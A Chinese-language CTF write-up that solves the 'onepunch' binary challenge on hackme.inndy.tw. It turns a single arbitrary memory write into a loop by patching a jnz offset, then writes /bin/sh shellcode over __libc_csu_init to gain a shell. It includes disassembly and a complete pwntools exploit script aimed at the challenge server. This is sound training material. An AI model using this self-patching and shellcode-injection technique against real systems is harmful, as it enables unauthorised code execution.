做的题太少了,不知道应该把这种题目如何归类

int __cdecl main(int argc, const char **argv, const char **envp)
{
  ……
  v5 = __isoc99_scanf("%llx %d", &v6, &v4);
  if ( v5 != 2 )
    return 0;
  *v6 = v4;
  ……
    return 0;
}

题目只提供了一个功能:读取两个数,第一个值为内存地址,第二个值为写入的数

也即:我们可以完成一次任意地址写,写入最多一个int

写一次没有什么用 => 写入多次就有用了!可以把我们的shellcode布置到代码中,直接运行即可

如何写入多次 => 利用第一次的内存写入,把循环跳转改成main中的死循环~~~

.text:0000000000400756                               loc_400756:                             ; CODE XREF: main+5B↑j
.text:0000000000400756 48 8B 45 F0                                   mov     rax, [rbp+var_10]
.text:000000000040075A 8B 55 E8                                      mov     edx, [rbp+var_18]
.text:000000000040075D 88 10                                         mov     [rax], dl
.text:000000000040075F 8B 45 E8                                      mov     eax, [rbp+var_18]
.text:0000000000400762 3D FF 00 00 00                                cmp     eax, 0FFh
.text:0000000000400767 75 0A                                         jnz     short loc_400773
.text:0000000000400769 BF 28 08 40 00                                mov     edi, offset s   ; "No flag for you"
.text:000000000040076E E8 ED FD FF FF                                call    _puts

注意到这里的0x400767处的75 0A,如果把这里的判断跳转,改为强制跳转到main,即可完成死循环操作。剩下的就是把shellcode布置好

Edit - Patch Program - Assemble:

 注意这里不能改成jmp main

jmp和jnz是不同的指令操作,会导致不仅要修改指令,还得修改偏移,但是我们只能修改一次

第一步:输入0x400768 137

第二步:

找到一串我们控制的地址,不影响程序运行,就可以写入shellcode

__libc_csu_init的代码在运行main之前已经使用过,现在已经无用,所以可以覆盖

第三步:

再控制0x400768到__libc_csu_init的地址,执行shellcode

#!/usr/bin/env python
# coding=utf-8

from pwn import *

context(arch = "amd64")
#io = process("./onepunch")
io = remote("hackme.inndy.tw", 7718)

#jnz main
io.recv()
io.sendline("0x400768 137")

#shellcode =>__libc_csu_init 
payload = asm(shellcraft.sh())
l = len(payload)
i = 0
addr = 0x400790
while i < l:
    io.recv()
    io.sendline(str(hex(addr + i)) + " " + str(ord(payload[i])))
    i += 1

#jnz __libc_csu_init(get shell)
io.recv()
io.sendline("0x400768 39")

io.interactive()

要注意这里有个坑

因为我们用了pwntools的工具来自动生成shellcode,所以需要制定平台架构为64位系统(不填默认为32位,就会报错)